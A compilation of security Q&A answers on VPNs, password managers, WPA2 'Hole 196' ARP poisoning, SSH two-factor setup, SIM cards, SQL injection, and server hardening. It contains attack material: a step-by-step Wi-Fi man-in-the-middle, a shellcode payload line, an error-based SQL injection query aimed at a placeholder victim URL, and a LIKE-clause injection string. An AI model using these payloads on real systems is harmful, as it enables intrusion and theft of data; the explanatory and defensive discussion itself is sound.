The third is that deep packet inspection is a fairly new thing. Networks that will pass legitimate TLS traffic unmolested but that will not pass other traffic on port 443 are still the exception not the rule.

While Openvpn does have a TCP option it is primerally designed to run over UDP. It uses TLS for key exchange but encrypts the actual network packets using a system designed explicitly for that purpose.

https://openvpn.net/index.php/open-source/documentation/security-overview.html

  Someone should say something about DTLS (TLS over UDP) too

DTLS is a pretty new protcol. I see no reason why you couldn't/shouldn't build a VPN soloution on top of it but I guess the VPN software vendors aren't especially in the mood to redesign their software.

In any case it wouldn't help with the scenario described in the question.


Are auto-type features of password managers actually effective against keyloggers?

First of all, if you have malware in your computer, it is kind of futile to try secure anything against it, especially if it manages to get admin privileges. A process with admin privileges can read pretty much whatever it wants.

If the "key-logger" does not have privileges, there may be a way to securely type in passwords, if the browser supports it. In essence, let's say Chrome allows extensions to detect input fields and type into them. That would allow KeePass to input passwords without simulating anything and without ever going outside the Chrome process. If in addition the password is exchanged between KeePass and the extension securely (which chromelPass already does), then the passwords are safe from non-privileged key-logger.

That being said, this is kind of a perfect world scenario. First of all, I don't believe extensions can actually input data into input fields in any browser. I am not sure, but think it is possible to input and chromelPass does it. However, if you have malware in your PC, it is unlikely it would not be able to gain admin privileges.

So in a way, it is futile in theory, but in practice, most people only need to be protected against common types of key-loggers and you should always do your best not to get infected in the first place.


TL;DR:  FaceNiff probably exploits WPA's "Hole 192" and uses ARP poisoning to set up a Man-in-the-Middle attack.  The steps, in short, are:

Eve uses the Group Temporal Key (GTK) to inject ARP packets into the network, with the network's gateway IP paired to her MAC address.
Clients register Eve's MAC address as their new gateway.
Clients send packets encrypted with their private keys (PTKs) to the AP, but addressed to Eve.  (Packets must still go to the AP because it is the "hub".)
AP decrypts the packets, re-encrypts them with Eve's PTK (since they're addressed to her), and re-broadcasts them.  The packets are now effectively cleartext to Eve.
Session hijacking ensues.

According to an article at The Register, it would seem that ARP poisoning is indeed involved.
http://www.theregister.co.uk/2011/06/03/android_cookie_stealing_app/print.html

The app works even on networks protected by WPA and WPA2 encryption schemes by using a technique known as ARP spoofing to redirect local traffic through the attacker's device. An attacker would have to know the security password, however.

So, for WPA2 networks, FaceNiff is most likely exploiting "Hole 196".  AirTight has an article that does a great job of explaining exactly what Hole 196 is, and (pasted below) how it can be exploited so that Eve can sniff WPA2 traffic as if it were in the clear.
http://www.airtightnetworks.com/WPA2-Hole196

In a WPA2 network, a malicious insider broadcasts fake packets (with the AP's MAC address as the transmitter's address) encrypted using the shared group key (GTK) directly to other authorized Wi-Fi clients in the network. One example of an exploit that can be launched using GTK is the classic ARP poisoning (man-in-the-middle) attack (demonstrated at Black Hat Arsenal 2010 and Defcon18).
In the ARP poisoning exploit, the insider can include for instance an ARP Request message inside the GTK-encrypted packet. The ARP Request has the IP address of the actual gateway, but the MAC address of the attacker's machine. All clients that receive this message will update their ARP table - mapping the attacker's MAC address with the gateway's IP address.
All "poisoned" Wi-Fi clients will send all their traffic, encrypted with their respective private keys (PTKs), to the AP, but with the attacker's MAC address as the destination. The AP will decrypt the traffic and forward it to the attacker, now encrypting it using the attacker's PTK. Because all traffic reaching the attacker (from the AP) is encrypted with the attacker's PTK, the attacker can decrypt the traffic (including login credentials, emails and other sensitive data).
The attacker can then choose to forward the traffic to the actual gateway of the network, so that the victim Wi-Fi clients do not see any abnormal behavior and continue their communication.


What are the ways to implement two factor authentication?

I am using IPA (LDAP, Kerberos, SSSD) since early 2.x versions and couldn't be happier. With regards to 2FA and OpenSSH, here is the relevant snippet of my sshd_config:

AllowGroups ipausers
GSSAPIAuthentication yes
PasswordAuthentication no
PubkeyAuthentication yes
RequiredAuthentications2 publickey,gssapi-with-mic

As of OpenSSH-6.2, the Red Hat patch implementing the RequiredAuthentications2 has been either included upstream or superseeded:

  sshd(8): Added support for multiple required authentication in SSH
  protocol 2 via an AuthenticationMethods option. This option lists
  one or more comma-separated lists of authentication method names.
  Successful completion of all the methods in any list is required for
  authentication to complete. This allows, for example, requiring a
  user having to authenticate via public key or GSSAPI before they
  are offered password authentication.


PCI DSS - only one primary function per server

Yes, they should be separate servers.

However, they don't need to be separate physical servers; they can be three virtual servers on one physical server.

There is some room for debate in the standard. Separating web and database is pretty much non-negotiable. But if email is a minor function - say, the web server just uses it to send the odd email notification - then you may be able to justify combining that with the web server. If you were large your QSA would guide on this, but given your size I expect you are on self assessment.


Is there cryptographic material in a phone's SIM card that can be used with RSA encryption?

A SIM card is a smart card. It follows all the relevant standards for smart cards, it is produced by smart card vendors.

A smart card is "just" a tamper-resistant computer. It has its own CPU, RAM, ROM, storage area (often EEPROM). Power and clock are provided from the outside. The device is supposed to be resistant to physical extraction of the internally stored data: it is equipped with a lot of sensors which detect a breach of the outer cover, operations in out-of-range conditions (temperature too low or too high, clock rate departing from the expected frequency...), and, ultimately, should self-destruct if advanced reverse engineering is attempted on it.

Of course, this is all a question of money. Direct inspection with an electron microscope and lasers is said to cost a few thousands of dollars; in past years, it was quite an industry among satellite pay-TV hackers (especially in countries which received the signal from the satellite but could not legally subscribe for lack of a commercial infrastructure -- I saw it happen a lot in North Africa, with European TV). Also, investigation methods for the extraction of secret key from a smart card have been seriously studied by both academics and the industry. Finally, a smart card being a small computer in its own right, it uses software and thus has bugs, some of which being exploitable.

I have recently worked with that kind of product. This is a smart card which can fit in the "SIM format" and yet can store and use dozens of RSA keys. The keys are generated on board, and performance is quite acceptable for many usages (less than 1 second for a 2048-bit RSA signature). The card has been certified to conform to FIPS 140-2 Level 3 and EAL 5+, which are both rather impressive (they don't guarantee that the card is unbreakable, but they demonstrate that the vendor had least invested substantial efforts and money towards that goal).

What I explain above is that it is technologically possible to have a SIM-like card which stores and use asymmetric keys for cryptography, with a resistance to private key extraction which is not negligible.

Now, of course, the problem is that existing, deployed SIM cards are not necessarily able to do that. The core functionality of a SIM card is to store a symmetric key and use it for an authentication protocol with the phone provider network. This is called A3/A8 in the GSM world. This is symmetric cryptography only, which is computationally much easier and can be done with a basic 8-bit CPU, not requiring any accelerator circuitry. Such cards are quite cheaper than RSA-able smart cards, and phone companies are known to always try to lower their costs as much as possible (order of magnitude for the production cost of an individual card is around 5$ for a RSA-able card, less than 1$ for a card which does only symmetric crypto).

Some companies have deployed SIM cards which can compute signatures, but I don't think you can expect it from most existing SIM cards (yet). The technology is there, now a commercial incentive is needed.

A further complication is whether access from an Android app would be allowed. Within a phone, the SIM card is quite isolated, because it is used as the legal basis for communication billing: if the card can be hijacked from a malware app, then it becomes too easy for customers to claim that their phone was hacked and then refuse to pay their bills.

You don't "encrypt with the private key". With a private key, you decrypt or you sign. I suppose your use case is that of authentication: you want to make sure, from the server, that a specific user is on the other end of the line.


Yes, there are also near infinitely many possible vulnerabilities and exploits on your system, but applying system updates is still advisable.  Good security includes a concept called defense in depth.  The idea is that you do what you can with multiple tools in order to make it harder for an attacker to penetrate all your lines of defense.

The effectiveness of anti-virus software may not be as high as it once was, but it still protects you from a far larger set of threats than ever before.  It is foolish not to use AV software as a component of your defense.  Keeping current on virus definitions, good network security and patching your system regularly, as well as good password security and avoiding risky websites are all also important to keeping a system secure.

The more barriers you put up, the harder it is for an attacker, even if none of your defenses are 100% foolproof (which is really ALWAYS the case).


As requested, I'm making this an answer:

You could either

contact your countries CERT
contact the CERT of the manufacturer's country.

Hopefully, they will forward the information appropriately.


If we integrate CDR in our email solution, do we really need Sandbox as well?

CDR and analysis inside a sandbox are both techniques which have their own problems.
Sandboxes can be bypassed by clever attackers by basing the behavior of the malware on environment and time and thus not showing malicious behavior inside the sandbox.

CDR instead somehow must assume what kind of payload is allowed in the first place in order to remove everything which is not allowed. This might lead to removing too much payload or too few - like removing every macros from Office documents or every Javascript from PDF even though there are actual valid  and innocent use cases for both. CDR can also not handle every kind of content, which means that any content it cannot handle either needs to be blocked completely or need to be blindly passed through.

If a very strict configured CDR (i.e. only allow very few and clearly innocent things) works for you then it might be the best option. This would be similar to configuring a firewall to only allow clearly good incoming and outgoing connections. But such very strictly configured firewall is often unusable in the real world since there are not only clearly good and clearly bad things bad there is also a grey area of things which actually might be innocent or bad but where this cannot be trivially be found out: like posts to Twitter might be fine but might also be communication of malware. And the same problem with the grey area exists when using a very strictly configured CDR.

Thus it might be necessary to use the CDR in a less restrictive way so that it does not accidentally destroy innocent content. But this also means more risk that bad content can pass through. This risk then again might be reduced by using additional security measures, like having CDR policies based on the (claimed) sender of the mail or by using a sandbox or similar technologies to further analyze not clearly innocent (but not clearly bad either) content.


No, because the key acts as a bias adding just enough entropy to defeat the weakness. In the same way you can also still use HMACs based on md5. Obviously you shouldn't do so.


Risks involved in deploying staging environment externally

I would ensure that the penetration testing team tests both access from within the internal network and from the internet. By exposing an application to the internet, you are making access to that application by threat agents (attackers) easier, so yes, this would affect the risk profile of the application. To calculate the risk, consider a threat modelling approach. You might find OWASPs approach useful.


Why would salt not have prevented LinkedIn passwords from getting cracked?

Krebs follows up on this question, and Ptacek does clarify what he meant:

BK: Okay. So if the weakness isn’t with the strength of the cryptographic algorithm, and not with the lack of salt added to the hashed passwords, what’s the answer?
Ptacek: In LinkedIn’s case, and with many other sites, the problem is they’re using the wrong kind of algorithm. They use a cryptographic hash, when they need to use a password hash.

In the next couple of paragraphs, he also elaborates on the reasons for it. The long and the short of it is that SHA1, with or without salt, is far too fast to be used as a password hash. It is so fast, that when computed using a GPU or something similar, you can brute force 10s of thousands of hashes per second. As is elaborated on later in the interview, LinkedIn should have been using bcrypt, which is an adaptive hash that would have slowed the brute force time down to the order of 10s of hashes per second.


Can an attacker force a browser to use quirks mode to render a page?

Potentially, yes. If the page supports being framed (that is, it does not have a prohibiting X-Frame-Options header, or similar), then you can frame it in a quirks-mode page, and at least some browsers (IE up to at least version 9, possibly IE11, possibly others) will use the same rendering mode for the parent page and its sub-pages. The normal render mode detection (based on doctype, etc.) will not be used on the framed pages.


DynDNS does not differ from standard DNS in any way.

The issue with Tor is that it only handles TCP, while DNS query usually relies on UDP protocol. Due to this, without further precaution, DNS resolution queries will be sent outside of the Tor tunnel.

You should therefore use a specific distribution, like Tails or Whonix, which will ensure that all your traffic including DNS queries will be sent through Tor (these are live-systems, you can boot your computer from them or use them inside a virtual machine).


Windows' default certificate store for intermediate vs trusted root certificates - my self signed root CA cert goes to 'intermediate' by default?

Windows applies some not-really-documented heuristics to know where your certificate should go. Apparently, these heuristics have changed: when I import your certificate on a Windows XP system, it defaults to the root store (with the big warning), but when I try on a Windows 2008R2 system, it goes to the intermediate CA store.

One way to side-step the issue is that root CA are very sensitive objects, and should not be imported "automatically". A rogue root CA can be used to deal considerable damage on the victim and I am not sure a single popup is really enough as a protection measure. The popup is not even red and scary-looking; it is more like a boring wall of text:

It is like license agreements: who really reads them, honestly ?

Under these conditions, I cannot really blame Microsoft for directing by default certificate imports to an intermediate CA store.

Now for your specific question, if I were to hazard a guess about what makes some Windows versions consider your certificate as "probably not a root CA", I would point at the short lifetime. Root CA certificates usually last longer than one year. I suggest trying to make that certificate valid for 20 years or so. This may or may not solve your problem, but if it does, so much the better.

Note: a certificate which is both self-issued (subject DN and issuer DN are equal) and self-signed is not necessarily a root; as per X.509, a CA may emit such things if it wants to handle a smooth transition when trying to change some characteristic in its certificate. The path validation algorithm includes a lot of provisions for such self-issued intermediate CA certificates.


How to re-issue the secret key in Session Resumption?

I think you can't
I'm not sure. But I think if you resume, then you're stuck with the old keys. If you want to rekey, then do one of these things:

Start a new session right away.
Or, alternatively, inside the resumed session use "session renegotiation" to rekey. There is an original, insecure, and an updated, secure, version of renegotiation.

Update
This bit sounds interesting. But I don't really understand it. Sounds like you could sort of do a "rekey-lite":
Liberally reformatted from the Client Hello section of the TLS 1.2 RFC:
The ClientHello message includes a variable-length session identifier.
If not empty, the value identifies a session between the same client and server whose security parameters the client wishes to reuse. The session identifier MAY be from

an earlier connection,
this connection, or
from another currently active connection.

.

The second option is useful if the client only wishes to update the random structures and derived values of a connection, and
the third option makes it possible to establish several independent secure connections without repeating the full handshake protocol.


How is mail automatically sent from my account?

Your question was pretty tough to follow and understand. I understood this: You got an auto-reply from someone's email, but you never sent an email to them in the first place. And you're thinking that something else sent an email as you and you want to know how that is possible. My response is based off of that assumption.

Mail forgery is pretty simple. Anyone can set up a SMTP mail server that sends email out from yourname@yourdomain.com. Most mail servers will reject it, based off of PTR and MX record checks (I believe) and they'll see it came from an IP address that doesn't quite match up with the MX records. However, I think a lot of mail servers will accept mail if it sees the "from" part is coming from it's own domain, or if the content of the email is simple (text only, no links).

That is how I can get mail from all of my servers without them being "official" mail servers for my domain. As part of my business's application, the users have the ability to email themselves content from certain parts of our app. When our mail server sends the email out, we forge the email with the user's address in the "From" part, so when they get the email, it looks like it came from themselves.

At any rate, to directly answer your question, this process can easily be scripted and put in a cron job.


Metasploit Framework: Remove Vulnerabilities from Database?

There is no direct way to delete vuln objects from within msfconsole. The best way would be to drop into irb and delete them from there.

msf exploit(ms08_067_netapi) > irb
[*] Starting IRB shell...

Loaded ~/.irbrc
>> framework.db.vulns
=> #<ActiveRecord::Associations::CollectionProxy [#<Mdm::Vuln id: 59, host_id: 320, service_id: nil, created_at: "2016-12-30 17:22:01", name: "MS08-067 Microsoft Server Service Relative Path St...", updated_at: "2016-12-30 17:22:01", info: "Exploited by exploit/windows/smb/ms08_067_netapi t...", exploited_at: "2016-12-30 17:22:01", vuln_detail_count: 0, vuln_attempt_count: 1, origin_id: nil, origin_type: nil>]>
>> framework.db.vulns.map(&:destroy)
=> [#<Mdm::Vuln id: 59, host_id: 320, service_id: nil, created_at: "2016-12-30 17:22:01", name: "MS08-067 Microsoft Server Service Relative Path St...", updated_at: "2016-12-30 17:22:01", info: "Exploited by exploit/windows/smb/ms08_067_netapi t...", exploited_at: "2016-12-30 17:22:01", vuln_detail_count: 0, vuln_attempt_count: 1, origin_id: nil, origin_type: nil>]
>> framework.db.vulns
=> #<ActiveRecord::Associations::CollectionProxy []>

Doing it this way will also remove all the associations with hosts, so you won't have dangling references in the join table like you would if you just deleted them in psql.


How secure is to authorize a website to "trust your device"?

The idea is, once you've proven you have some "a thing you have" second factor (a phone number), you can basically turn your PC into another "thing you have" second factor. Since it's usually vastly easier to steal somebody's phone number than their PC, this is probably fine.

It's done the same way any other long-term authentication token is handled. Probably a cookie but might be a bearer token from local storage (or similar). Obviously, until you authenticate the first time (including the SMS, in this case), that cookie won't be sent.
Unless the site is tremendously insecure, no. This should be as hard as just forging the session token that is given to your client after authentication (whether or not you specified "trust this device"). If the attacker can guess auth tokens for the bank, they wouldn't bother with the token that only bypasses one auth factor, they'd go straight for the one that just means they're logged in as you!
If somebody steals your PC and it's either running and logged in (not locked), or they're able to extract browser secrets off the HDD (they're either not encrypted or the password/key sucks), they will be able to bypass the second factor. They'll still need the first factor (password, a "thing you know" as opposed to "thing you have").


Someone who does not have access to a private repository sees a 404 Page not found error. So no, if an outsider knows the url he can not scrape the contents of your github repository page.


The problem cam from telnet.

Telnet transmits \xbf\xff as \xff\xff in the command
echo $(python -c 'print "\x90"*300 + "\x77\x77\xff\xbf"') | telnet localhost 7777

Using netcast solved the issue.


We cannot know the answers. It depends completely on your use case, of which you have explained very little.
Some considerations:

How many data key do you need to create?
As many as you have different access permissions. For example: if group1 has access to col1, col2, col3 and group2 has access to col1,col4,col5 you would need 3 data keys (one for col1, one for col2/3 and one for col4/5). If you want to be real flexible, for example because your organisation frequently reorganizes, you may choose to use more keys, for example one per column.

I'd go for GCM, for the following reasons:

performance
CBC is less secure (f.e. padding attacks)
I've always liked Evariste Galois

That depends too much on your application. For very large databases that contain many years of historical data, key rotation is often impractical. For small databases were the data value is limited in time, you could.


How To Validate Secure Traffic from Chrome with Element To Matrix.org on Linux

You use a packet sniffer (wireshark, tcpdump) to capture traffic, and the OS tools (netstat) to determine the network port used by the Chrome process (each Chrome tab is its own process). Then you simply pair the traffic from this process to its destinations.
But the premise is ridiculous. If Chrome wanted to secretly copy the data to its own servers so that it could try to break the encryption to read what you are sending (already ridiculous), then it would do it over its own process, and compress and batch the sending, so you would not be able to distinguish this traffic from other types of traffic. So, if this was happening, it would be very, very difficult to confirm that they were not doing that.
But it's always very difficult to prove a negative.


PCI Compliance - Antivirus in host and virtual environment?

If, by installing the anti-virus solution on the host system, you can achieve the same level of protection to the VMs as you would if they had anti-virus installed individually, then the end result is that all systems are protected from malicious software. This would satisfy compliance. There are very few products in the market that can be installed at the host level to provide protection to VMs.

The PCI DSS requires that anti-virus be installed on systems commonly affected by malicious software. This is prescriptive rather than risk based so the fact the db instance is not publicly accessible does not mean it falls outside this requirement. It would still need to have anti-virus installed unless the operating system for that VM is one not commonly affected by malicious software.


Does HTTPS encrypt metadata?

TLS will only encrypt the payload. Notably the following meta data are still available in clear:

Layer 3/4 information, notably source and destination IP/port of the connection: This can be used to get information about the client, i.e. the network where the client comes from. Additional information like TTL, initial sequence numbers, initial window size can be used for passive fingerprinting to detect the OS. And the target IP can be used to get information about the server, i.e. what the client is visiting.
The target domain name if SNI is used: SNI is used by all modern TLS stacks at least for HTTPS. This can be used to further determine the target of the clients connection.
Cipher suites and extensions offered by the client: This can be used to fingerprint the client, i.e. detect which kind of browser and maybe OS version is used.
The servers certificate: this adds some more information  about the target of the connection and often provides the exact domain name even if SNI is not used (like in non-HTTTPS connections).
The optional client certificate: since this might be used for authentication it adds some useful information about the client.
Size and timing of the transferred data: While the exact size might not be available when looking at the encrypted data the approximate size can be determined. Together with timing and direction of transfer (i.e. traffic flow) this can be used to find out which protocol might be spoken (HTTP, SMTP, VPN...) because different protocols have different flow characteristics. If used on HTTPS only on a target site with unrestricted access it might even be possible to narrow down which of the public available pages on the site the client has visited.


I want to have the security of my crypto code checked, how should I go about doing so?

You can

have your code audited
have your design audited
perform blackbox checks against your web service

see: http://en.wikipedia.org/wiki/Security_testing

An audit should be performed by a person that was not involved in the creation of your service and infrastructure. That may be another team or department of your company – or some external consultancy.

And: use tested techniques & components in your design, which means: do not re-invent the wheel (c.f. http://en.wikipedia.org/wiki/Not_invented_here)


The risks are similar to using one email address for various online accounts, minus the risk of having the email address floating around in public.

This means that a brute force (or other) attack from outside by people who need to use the email address is mitigated.

As long as nobody gets hold of the "catchall" email address, it is far more secure than using a publicly known email address. One should never send emails from this account, and it should have any auto replies or read receipts switched off.


Protecting an external authentication server against CSRF

After some time I realised how this can be prevented without any of the complications I listed above.
Essentially, the external authentication provider needs to explicitly trust the web server. This trust can be established by authentication, e.g. a shared secret.
Therefore, an attacker cannot clone the server as the clone will not be trusted by the external authentication provider.


IMHO you have a questionable design here. When I read

  my server application can sign files on their [my users] behalf

all lights suddenly flash red. If your application can sign something on behalf of a user, you sign it. It may be fine in your use case, but you should carefully review the responsability chain. If in addition you need to be able to recover the private key if the users lose their password, that means that you have a full access to that key even without the users being notified of it (or without their explicit consent). That also means that anobody with admin privileges on the server can sign anything on behalf on any user. IMHO, the keys no longer belong the users but they are just personal information that you need to protect from unwanted disclosure. The common protection is then in layers:

physical security to protect the machine
internal security rules to identify who has privileges on what
network security to protect the system from remote accesses
multiple software layers so that an attacker would have to break at least two security points to access the information: for example, sensitive data must be stored in encrypted form, so that the attacker needs to gain access to both the encrypted data and the decryption key


How can I restrict users' connection attempts to my FTP server?

Have you thought about just using the windows firewall API? Should give you more than enough control based on what you are trying to do.


What lessons can be learned from the latest spate of Ransomware attacks?

I think one of the main lessons learned is that the security services shouldn’t be hoarding zero days and tools to exploit them, (especially) if they can’t properly secure them.

The thing to remember, however, is that WannaCrypt and Petya both had patches available before they hit and both also took advantage of poor configuration.

Additionally, many organisations that were hit hard could have avoided some (possibly all) pain if they had standard belts and braces security practices in place.

The main lesson organisations should learn is that they should get the basics right.

For example:

Vulnerability Management

Conduct regular vulnerability scanning, understand the security posture of all assets and what vulnerabilities are present, what threats are related to these vulnerabilities, and what risk they pose to the IT estate and the business it serves.

This includes both missing patches (i.e. MS17-010) and poor configuration (i.e., having SMBv1 enabled).

This should all be supported by proper processes that allow for ongoing discovery, remediation of vulnerabilities (either via action or risk acceptance) and confirming remediation.

Ideally, all risks across the entire IT estate should be known about and managed.

Additionally, roles and responsibilities should be assigned to ensure that all of the above is done correctly. This includes security managers, security analysts, vulnerability managers IT technicians etc.

Patch Management

Ensure that patches are deployed in a timely manner. This doesn’t just mean pushing the latest Patch Tuesday patches.  This also includes understanding what software you have in your IT estate and having a full inventory of assets to make sure everything is patched.

Removable Media Controls

Ensure removable media is limited to devices that are sanctioned only. Ideally, I would blacklist all removable media and whitelist anything that you approve. (This is just my view, however)

Malware Prevention

Ensure you have some kind of AV on all end points, at least the classic heuristics and definition based AV. (although there are more advanced solutions available) Make sure it is up to date and working.

Disaster Recovery

Ensure you have backups, including off-site, off-line backups of critical data.

Incident Management

Ensure you have a plan to react to a major security incident; ensure you have the right people in the right places supported by the right processes.

Control User Privilege

This one goes without saying really:  make sure that all users have the least amount of privilege. This should be supported to ensure that this is audited regularly.

User Education and Engagement

Ensure all staff understand the security policy of your organisation. Conduct exercises such as phishing campaigns to test your users and provide training to allow them to understand the risks involved and be better prepared to spot pushing emails, web sites, social engendering etc. (Again, this is just a view, some people may suggest that security shouldn’t be a user problem; it should be an IT problem)

Good Network Security Hygiene

Have the correct access controls on your perimeter, ensure you have properly configured firewalls at all appropriate places in your network (with regular rule audits and reviews), and make sure that VLANS are properly setup with as much segmentation as is required. Ensure that all remote users can connect securely and that any devices they connect from have at least 1-to-1 patch levels as devices already on the network. Also, make sure that you have robust BYOD controls.


This link is a great reference. Let's break this monster query down.

Building blocks

First of all, be sure you are familiarized with the SQL functions and statements used in the attack:

CONCAT() 1

Concatenate several expressions together:

MariaDB [(none)]> SELECT CONCAT("SQL ", "injection ", "is ", "cool");
+---------------------------------------------+
| CONCAT("SQL ", "injection ", "is ", "cool") |
+---------------------------------------------+
| SQL injection is cool                       |
+---------------------------------------------+

FLOOR() 2

Return the largest integer value that is less than or equal to a number:

MariaDB [(none)]> SELECT FLOOR(25.75);
+--------------+
| FLOOR(25.75) |
+--------------+
|           25 |
+--------------+

RAND() 3

Return a random decimal number (no seed value - so it returns a completely random number >= 0 and <1):

MariaDB [(none)]>  SELECT RAND();
+--------------------+
| RAND()             |
+--------------------+
| 0.7757022090029924 |
+--------------------+

COUNT()

The COUNT() function returns the number of rows that matches a specified criteria. Note that COUNT(*) is the same as COUNT(1) (check here for more information). It is used this way in order to assure NULL results will not be excluded from the counting.

LIMIT

Select a row and the next rows until a number.

SELECT * FROM tbl LIMIT 5,10

This query returns lines from 6 to 16.

GROUP BY 4

Often used with aggregate functions (COUNT, MAX, MIN, SUM, AVG) to group the result-set by one or more columns.

SELECT COUNT(CustomerID), Country FROM Customers GROUP BY Country;

This query lists the number of customers in each country.

0x3a

Just the hex code for :. Check your favorite ASCII table for more information.

Now, putting things together.

floor(rand()*2)

TL;DR: The goal of this block is to generate 0 or 1 randomly.

rand() generates a random number between 0 and 1 while floor() takes the closest lower integer. Think about floor(rand()) for a moment. It's output is always 0. This is why you multiply rand() by 2. Now the floor(rand()*2) function will take an integer in the interval [0,2), therefore 1 or 0.

Breaking it down

Since there are lots of subtrings here, let's move inside out.

select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1

MariaDB [sqli_test]> select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1;
+------------+
| table_name |
+------------+
| myTable    |
+------------+

Simple selection of the name of the second table returned from the sqli_test database. Let's call this result @RESULT1. You could actually store it in a variable.

concat(0x3a,0x3a,@RESULT1,0x3a,0x3a, floor(rand()*2))

Concatenation of strings. Returns ::<TABLE_NAME>::[0-1]. For example ::mytable::0 or ::mytable::1. Name it @RESULT2.

For the next step, note that select * from information_schema.columns; returns all the columns in all the tables. Therefore, if we run select @RESULT2 a from information_schema.columns;, we will receive something like:

+--------------+
| a            |
+--------------+
| ::myTable::0 |
| ::myTable::0 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::0 |
+--------------+

Therefore, let's group by @RESULT2 (the modified names of the tables) and name it @RESULT3:

select count(*), @RESULT2 a from information_schema.columns group by a

MariaDB [sqli_test]> select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a;
+----------+--------------+
| count(*) | a            |
+----------+--------------+
|      887 | ::myTable::0 |
|      962 | ::myTable::1 |
+----------+--------------+

It returns the total number of columns groupped by tables which names were generated in @RESULT2. Note that a is just an alias for @RESULT2. Also, since the appended 0s and 1s are randomly generated, the numbers in this table should change every time you run the query.

After running it a few times, it will crash

 ERROR 1062 (23000): Duplicate entry '::myTable::0' for key 'group_key'

Due to the inserted randomness, sooner or later items in a column will have the same name, generating an error. Note that the error leaks myTable. BAM! Juicy info!

What is that all about anyhow?!

You could run this query in a page vulnerable to SQL Injection, like this:

http://myvictim.com/?id=1' AND (select count(*), @RESULT2 a from information_schema.columns group by a)

This would force the leak of the table name. You could obviously change the query to leak other info.

Just for the sake of completeness this would trigger an error like:

Operands should contain 1 column(s)

Note that in fact our SELECT... query returns 2 columns, making it impossible to AND with another query. We could solve it with:

select 1 from(@RESULT3)b

Note that we must put b as the alias, otherwise:

Every derived table must have its own alias.

This is an awesome and clever way to leak information!


How to completely remove all traces of a file in Windows 7?

The Honest Truth Answer:

Unless you physically destroy the drive by putting it through a metal shredder, there is no way to completely prevent that information from having a chance to be recovered by a skillful individual.  If government level actors factor into your threat model, then you need to physically destroy the drive.

The Good Enough Answer:

If the NSA, FBI, Chinese Intelligence, etc. do not factor into your threat model, then you can get by with applications such as CCleaner.  For all but the most extremely sophisticated threat actors, a 25+ pass rewrite will suffice on a HDD.

SSD are a different matter all together due to wear leveling (as Rory already stated) and about 30%+ of the SSD industry are not following the established standard practice for how to handle rewriting those "Bad" memory blocks.  Which brings me back to the honest truth answer, shred the drive.


Does pre-shared "secret" part of salt stored in ProtonMail client make SRP auth sequence any safer?

The point is not that the non-random part of the salt is secret (it's not). The point is that it's non-random. So in the scenario described above, if in the remote chance that a compatible password hash for a user were stolen from a third-party website, and the user used the same password for this website and ProtonMail, the attacker could not impersonate the ProtonMail server in the SRP sequence because the salt would likely not have the specific non-random sequence in it and therefore it would be rejected by the client.


Assuming I'm working on an environment that currently uses MD5 to hash passwords, and I want to switch to something more secure.

If this is a practical question, then it deserves a practical answer:

Don't invent your own password storage schemes. Do it according to best practices.

There is no benefit to your scheme over using the standard options (pbkdf/bcrypt/scrypt/argon2). There are many potential security downsides, plus general bugs in the implementation (since you're constructing this yourself instead of using a commonly-used library). Implementing this in a production environment borders on professional negligence.

On the subject of its security: at the very least you suffer from it being easy to parallelize, so an attacker who has obtained a dump of the database can do the old "spin up a bunch of ec2 instances" attack to crack your hashes. This is the point behind bcypt, but you don't seem to have addressed that at all.


Somebody trying to ssh attack via hosting services on me. What is the best response?

It's very common among public servers or a host. I'm going to assume that your host is a server which is using Public IP i.e can be accessible from anywhere. Here is some precaution:

Change default port: The ideal idea for this kind of situation is to move default port (22) into higher port. You can do that by changing the configuration file located at '/etc/ssh/sshd_config' as following,

$ vi /etc/ssh/ssh

And make the following change,

# Port 22
Port 23415

Define specific IP: You always can define specific IP of the host from which you usually ssh to your laptop and drop all other requests with IPTABLES with the following commands [here I am assuming you are using port 23415 in place of 22],

Drop IP's trying to connect in port 22

sudo iptables -A INPUT -p tcp --dport 22 -j DROP

Whitelisting IP's: You can add multiple IP.

sudo iptables -A INPUT -p tcp -s YOUR.IP.HERE --dport 23415 -j ACCEPT
sudo iptables -A INPUT -p tcp -s YOUR.Another.IP.HERE --dport 23415 -j ACCEPT

Drop Other IP's request:

sudo iptables -A INPUT -p tcp --dport 23415 -j DROP

Save new rules:

sudo iptables-save

Using SSH securing app: There are plenty of SSH securing app available like Fail2ban, Denyhost, Sshguard etc.


Airodump-ng : why are BSSID not associated?

If I understand correctly, the STATION BSSIDs are access points to which the clients are connected,

You are correct.

  why are they not showing up with the above AP list?

From the airodump-ng documentation describing the "BSSID" field:

 MAC address of the access point. In the Client section, a BSSID of
 “(not associated)” means that the client is not associated with any
 AP. In this unassociated state, it is searching for an AP to connect
 with.

So typically the application has detected the client by hearing it send probe requests trying to find nearby wireless networks.


As Alexander pointed out in the comments, checking permissions alone is not a reliable way to determine whether an APK is trustworthy or not. Especially not for an app like Pokémon Go, which is going to require a wide array of permissions in any case.

If you are forced to download an app from an unofficial source, one of the smartest things to do is to get it from a trusted source. The best thing would be if you had a real-world friend or family member with a Google Play account linked to a country where the app is released. That person could install the app from Google Play, copy the APK from their phone, and send it to you. This way you know you have a real, untampered APK, just like the original developers distributed it. Obviously, it is not often that you have such a friend, so on to the next option.

Apkmirror.com is run by the same people behind AndroidPolice.com, one of the biggest Android news websites. All uploads are manually vetted and approved, and only free apps are allowed so you won't find any 'cracked' APK or 'warez'.

As you already have the Play Store installed, only an APK signed with the same key as the currently installed version will be able to upgrade the app so this is an extra verification of the APK you download. Therefore, if you download the app from Apkmirror.com you should be safe.

APKmirror use both MD5 and SHA1 and they have gradually built up a solid reputation over years. I'm not aware of any confirmed case of a compromised APK on their site. Of course, it may plausibly still happen, but even the Play Store is not completely safe from all malware. APKmirror manually checks each APK.

Attribution for part of the section on apkmirror.com.


You are trying to break out of the PHP function which is not how SQL injections work. An SQL injection is not a PHP code injection and double quotes won't let escape from the PHP string.

You can only modify the PHP string that contains the SQL statement:

"SELECT * FROM tools WHERE (`name` LIKE '%$query%')"

So instead, try something like x%' or '%' = '.


Efficiently handling malicious, single connection attempts to a server?

... should I even bother to block these attempts?

If you are sure that none of these attempts will ever succeed (for example because password based authentication is not allowed anyway, only key based is active) then it is not strictly necessary to block these. In the spirit of defense in depth it would be nice though to limit or even stop the attempts.

I'd love to have some suggestions about how to handle that

